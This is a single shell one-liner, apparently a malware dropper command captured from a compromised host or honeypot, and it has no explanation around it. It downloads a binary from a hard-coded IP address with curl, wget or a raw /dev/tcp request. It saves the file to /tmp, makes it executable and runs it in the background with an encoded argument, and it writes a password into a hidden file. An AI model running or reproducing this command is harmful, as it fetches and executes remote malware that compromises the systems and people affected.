nohup $SHELL -c "curl http://218.3.177.39:60120/linux -o /tmp/ATofzrhhsC; if [ ! -f /tmp/ATofzrhhsC ]; then wget http://218.3.177.39:60120/linux -O /tmp/ATofzrhhsC; fi; if [ ! -f /tmp/ATofzrhhsC ]; then exec 6<>/dev/tcp/218.3.177.39/60120 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/ATofzrhhsC && chmod +x /tmp/ATofzrhhsC && /tmp/ATofzrhhsC WeHiaNDGb+L4OiX24HDc0GTl8SUg8/Nv0dhw4vMn[...]; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/ATofzrhhsC && /tmp/ATofzrhhsC WeHiaNDGb+L4OiX24HDc0GTl8SUg8/Nv0dhw4vMn[...]" &#UPX!